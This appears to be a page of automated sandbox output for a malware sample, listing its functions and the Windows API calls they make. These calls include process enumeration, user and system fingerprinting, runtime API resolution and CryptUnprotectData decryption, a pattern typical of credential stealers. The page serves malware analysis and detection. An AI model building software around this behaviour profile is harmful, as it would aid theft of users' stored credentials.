Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: e321d3df736008d709d4df6c57755a23dccf25c688bf9c162fdab33846fe2b41
Instruction ID: 2305959cf50c5a2d895f6728f8a87590a18a7356c375549c73b17ae1674d29f7
Opcode Fuzzy Hash: e321d3df736008d709d4df6c57755a23dccf25c688bf9c162fdab33846fe2b41
Instruction Fuzzy Hash: 86128431A01159DBDB15FB60DD94EED7339AF64310F4045A9A58B67088EF386F8ACFA0

Function 01019600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0101961E
Process32First.KERNEL32(01020ACA,00000128), ref: 01019632
Process32Next.KERNEL32(01020ACA,00000128), ref: 01019647
StrCmpCA.SHLWAPI(?,00000000), ref: 0101965C
CloseHandle.KERNEL32(01020ACA), ref: 0101967A

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 8c21bda65b2136d3f331d1dd2d9d9bdcbf700704a0b33a296442b135e26ff8d6
Instruction ID: 8f5b985f625afb2adf8130423f9ccc412bcd7cbc3a0f870f4b97fb0306b12783
Opcode Fuzzy Hash: 8c21bda65b2136d3f331d1dd2d9d9bdcbf700704a0b33a296442b135e26ff8d6
Instruction Fuzzy Hash: 35011EB9A40208EBDB24DFA5D958BEDBBF8FB4C704F004588A94A97244D7389B40CF60

Function 01017A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0186E230,00000000,?,01020E10,00000000,?,00000000,00000000), ref: 01017A63
RtlAllocateHeap.NTDLL(00000000), ref: 01017A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0186E230,00000000,?,01020E10,00000000,?,00000000,00000000,?), ref: 01017A7D
wsprintfA.USER32 ref: 01017AB7

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: dede425e5000fcb6eed3c3ce09f1ba1706aaf5782e380e1b5c17badca9b70b05
Instruction ID: 60b255aa283e5f5b6af9d10cd140220d59bcf1a9319ef33f91886b4a8c1ad5b6
Opcode Fuzzy Hash: dede425e5000fcb6eed3c3ce09f1ba1706aaf5782e380e1b5c17badca9b70b05
Instruction Fuzzy Hash: 54115EB1945228EBEB208B54DC49FAAB7B8FB44721F00439AFA1A93284D7785A40CF51

Function 01009B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 01009B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 01009BA3
LocalFree.KERNEL32(?), ref: 01009BD3

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 0b74378aa2ff328e820d6447f99dec2485273d737a2e6b6a5f34cb2c89b8c741
Instruction ID: c6f049bb55f204065aac774091f8e4aa9b7532c5038de64f8ef08ad745bda96a
Opcode Fuzzy Hash: 0b74378aa2ff328e820d6447f99dec2485273d737a2e6b6a5f34cb2c89b8c741
Instruction Fuzzy Hash: 1B11CCB8A00209EFDB05DF98D989AAE77F5FF88304F104598E91597394D774AE10CF61

Function 01017850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,010011B7), ref: 01017880
RtlAllocateHeap.NTDLL(00000000), ref: 01017887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0101789F

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: b962a07a4b34884c8a1e9f358ddbb965f7580308d8580313bc260be9af2c5bea
Instruction ID: 8d7e40589b03863ab0aa2a6ac734e4c138d65d9a516581509c574bc702043ce1
Opcode Fuzzy Hash: b962a07a4b34884c8a1e9f358ddbb965f7580308d8580313bc260be9af2c5bea
Instruction Fuzzy Hash: 15F04FB5984208EBD714DF99D949BAEBBB8FB04711F10025AFA06A3684C77815048BA1

Function 01001160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0100116A
ExitProcess.KERNEL32 ref: 0100117E

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: c853c6aa83039a919c81aa2a35cd3db17cc0e28d33498657d9365f25001945a8
Instruction ID: 8fe325556ffe2037edbf470fa8b5ff1fe73a8db2323a5ca16e3d7e6f32afebf7
Opcode Fuzzy Hash: c853c6aa83039a919c81aa2a35cd3db17cc0e28d33498657d9365f25001945a8
Instruction Fuzzy Hash: 76D05E7894030CDBDB28DFE0E84D6DDBB78FB08311F000554E90763340EA30A481CBA5

Function 01019C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01856570), ref: 01019C2D
GetProcAddress.KERNEL32(74DD0000,01856770), ref: 01019C45
GetProcAddress.KERNEL32(74DD0000,01869418), ref: 01019C5E
GetProcAddress.KERNEL32(74DD0000,018693D0), ref: 01019C76
GetProcAddress.KERNEL32(74DD0000,018693E8), ref: 01019C8E
GetProcAddress.KERNEL32(74DD0000,01869400), ref: 01019CA7
GetProcAddress.KERNEL32(74DD0000,0185B520), ref: 01019CBF
GetProcAddress.KERNEL32(74DD0000,0186D070), ref: 01019CD7
GetProcAddress.KERNEL32(74DD0000,0186CF50), ref: 01019CF0
GetProcAddress.KERNEL32(74DD0000,0186CF68), ref: 01019D08
GetProcAddress.KERNEL32(74DD0000,0186D0B8), ref: 01019D20
GetProcAddress.KERNEL32(74DD0000,01856890), ref: 01019D39
GetProcAddress.KERNEL32(74DD0000,01856550), ref: 01019D51
GetProcAddress.KERNEL32(74DD0000,01856690), ref: 01019D69
GetProcAddress.KERNEL32(74DD0000,018568B0), ref: 01019D82
GetProcAddress.KERNEL32(74DD0000,0186D190), ref: 01019D9A
GetProcAddress.KERNEL32(74DD0000,0186CF20), ref: 01019DB2
GetProcAddress.KERNEL32(74DD0000,0185B5E8), ref: 01019DCB
GetProcAddress.KERNEL32(74DD0000,018564D0), ref: 01019DE3
GetProcAddress.KERNEL32(74DD0000,0186CFB0), ref: 01019DFB
GetProcAddress.KERNEL32(74DD0000,0186CF80), ref: 01019E14
GetProcAddress.KERNEL32(74DD0000,0186D148), ref: 01019E2C
GetProcAddress.KERNEL32(74DD0000,0186CF08), ref: 01019E44
GetProcAddress.KERNEL32(74DD0000,018564F0), ref: 01019E5D
GetProcAddress.KERNEL32(74DD0000,0186CEF0), ref: 01019E75
GetProcAddress.KERNEL32(74DD0000,0186CF98), ref: 01019E8D
GetProcAddress.KERNEL32(74DD0000,0186D028), ref: 01019EA6
GetProcAddress.KERNEL32(74DD0000,0186CFC8), ref: 01019EBE
GetProcAddress.KERNEL32(74DD0000,0186D0E8), ref: 01019ED6
GetProcAddress.KERNEL32(74DD0000,0186D1A8), ref: 01019EEF
GetProcAddress.KERNEL32(74DD0000,0186D058), ref: 01019F07
GetProcAddress.KERNEL32(74DD0000,0186CFE0), ref: 01019F1F
GetProcAddress.KERNEL32(74DD0000,0186CFF8), ref: 01019F38
GetProcAddress.KERNEL32(74DD0000,0186A0A8), ref: 01019F50
GetProcAddress.KERNEL32(74DD0000,0186CED8), ref: 01019F68
GetProcAddress.KERNEL32(74DD0000,0186D0D0), ref: 01019F81
GetProcAddress.KERNEL32(74DD0000,01856510), ref: 01019F99
GetProcAddress.KERNEL32(74DD0000,0186D088), ref: 01019FB1
GetProcAddress.KERNEL32(74DD0000,01856590), ref: 01019FCA
GetProcAddress.KERNEL32(74DD0000,0186D010), ref: 01019FE2
GetProcAddress.KERNEL32(74DD0000,0186D040), ref: 01019FFA
GetProcAddress.KERNEL32(74DD0000,01856610), ref: 0101A013
GetProcAddress.KERNEL32(74DD0000,01856A30), ref: 0101A02B
LoadLibraryA.KERNEL32(0186D160,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A03D
LoadLibraryA.KERNEL32(0186CF38,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A04E
LoadLibraryA.KERNEL32(0186D0A0,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A060
LoadLibraryA.KERNEL32(0186D100,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A072
LoadLibraryA.KERNEL32(0186D118,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A083
LoadLibraryA.KERNEL32(0186D130,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A095
LoadLibraryA.KERNEL32(0186D178,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A0A7
LoadLibraryA.KERNEL32(0186CEC0,?,01015CA3,01020AEB,?,?,?,?,?,?,?,?,?,?,01020AEA,01020AE3), ref: 0101A0B8
GetProcAddress.KERNEL32(75290000,01856C10), ref: 0101A0DA
GetProcAddress.KERNEL32(75290000,0186D358), ref: 0101A0F2
GetProcAddress.KERNEL32(75290000,01868DC0), ref: 0101A10A
GetProcAddress.KERNEL32(75290000,0186D1F0), ref: 0101A123
GetProcAddress.KERNEL32(75290000,018569B0), ref: 0101A13B
GetProcAddress.KERNEL32(73440000,0185B3B8), ref: 0101A160
GetProcAddress.KERNEL32(73440000,01856C30), ref: 0101A179
GetProcAddress.KERNEL32(73440000,0185B390), ref: 0101A191
GetProcAddress.KERNEL32(73440000,0186D238), ref: 0101A1A9
GetProcAddress.KERNEL32(73440000,0186D2E0), ref: 0101A1C2
GetProcAddress.KERNEL32(73440000,01856B70), ref: 0101A1DA
GetProcAddress.KERNEL32(73440000,01856C50), ref: 0101A1F2
GetProcAddress.KERNEL32(73440000,0186D2B0), ref: 0101A20B
GetProcAddress.KERNEL32(752C0000,01856A50), ref: 0101A22C
GetProcAddress.KERNEL32(752C0000,01856970), ref: 0101A244
GetProcAddress.KERNEL32(752C0000,0186D220), ref: 0101A25D
GetProcAddress.KERNEL32(752C0000,0186D2F8), ref: 0101A275
GetProcAddress.KERNEL32(752C0000,01856C70), ref: 0101A28D
GetProcAddress.KERNEL32(74EC0000,0185B610), ref: 0101A2B3
GetProcAddress.KERNEL32(74EC0000,0185B7F0), ref: 0101A2CB
GetProcAddress.KERNEL32(74EC0000,0186D208), ref: 0101A2E3
GetProcAddress.KERNEL32(74EC0000,01856A90), ref: 0101A2FC
GetProcAddress.KERNEL32(74EC0000,018568D0), ref: 0101A314
GetProcAddress.KERNEL32(74EC0000,0185B638), ref: 0101A32C
GetProcAddress.KERNEL32(75BD0000,0186D310), ref: 0101A352
GetProcAddress.KERNEL32(75BD0000,018568F0), ref: 0101A36A
GetProcAddress.KERNEL32(75BD0000,01868E40), ref: 0101A382
GetProcAddress.KERNEL32(75BD0000,0186D370), ref: 0101A39B
GetProcAddress.KERNEL32(75BD0000,0186D340), ref: 0101A3B3
GetProcAddress.KERNEL32(75BD0000,01856B30), ref: 0101A3CB
GetProcAddress.KERNEL32(75BD0000,01856950), ref: 0101A3E4
GetProcAddress.KERNEL32(75BD0000,0186D1D8), ref: 0101A3FC
GetProcAddress.KERNEL32(75BD0000,0186D328), ref: 0101A414
GetProcAddress.KERNEL32(75A70000,01856AB0), ref: 0101A436
GetProcAddress.KERNEL32(75A70000,0186D250), ref: 0101A44E
GetProcAddress.KERNEL32(75A70000,0186D268), ref: 0101A466
GetProcAddress.KERNEL32(75A70000,0186D280), ref: 0101A47F
GetProcAddress.KERNEL32(75A70000,0186D298), ref: 0101A497
GetProcAddress.KERNEL32(75450000,01856AD0), ref: 0101A4B8
GetProcAddress.KERNEL32(75450000,018569F0), ref: 0101A4D1
GetProcAddress.KERNEL32(75DA0000,01856B10), ref: 0101A4F2
GetProcAddress.KERNEL32(75DA0000,0186D2C8), ref: 0101A50A
GetProcAddress.KERNEL32(6F070000,01856B50), ref: 0101A530
GetProcAddress.KERNEL32(6F070000,01856A10), ref: 0101A548
GetProcAddress.KERNEL32(6F070000,018569D0), ref: 0101A560
GetProcAddress.KERNEL32(6F070000,0186D1C0), ref: 0101A579
GetProcAddress.KERNEL32(6F070000,01856B90), ref: 0101A591
GetProcAddress.KERNEL32(6F070000,01856910), ref: 0101A5A9
GetProcAddress.KERNEL32(6F070000,01856A70), ref: 0101A5C2
GetProcAddress.KERNEL32(6F070000,01856930), ref: 0101A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0101A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0101A607
GetProcAddress.KERNEL32(75AF0000,0186CE78), ref: 0101A629
GetProcAddress.KERNEL32(75AF0000,01868E60), ref: 0101A641
GetProcAddress.KERNEL32(75AF0000,0186CE48), ref: 0101A659
GetProcAddress.KERNEL32(75AF0000,0186CE60), ref: 0101A672
GetProcAddress.KERNEL32(75D90000,01856BF0), ref: 0101A693
GetProcAddress.KERNEL32(6E380000,0186CE90), ref: 0101A6B4
GetProcAddress.KERNEL32(6E380000,01856990), ref: 0101A6CD
GetProcAddress.KERNEL32(6E380000,0186CD28), ref: 0101A6E5
GetProcAddress.KERNEL32(6E380000,0186CDA0), ref: 0101A6FD

Strings

HttpQueryInfoA, xrefs: 0101A5FC
InternetSetOptionA, xrefs: 0101A5E5

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
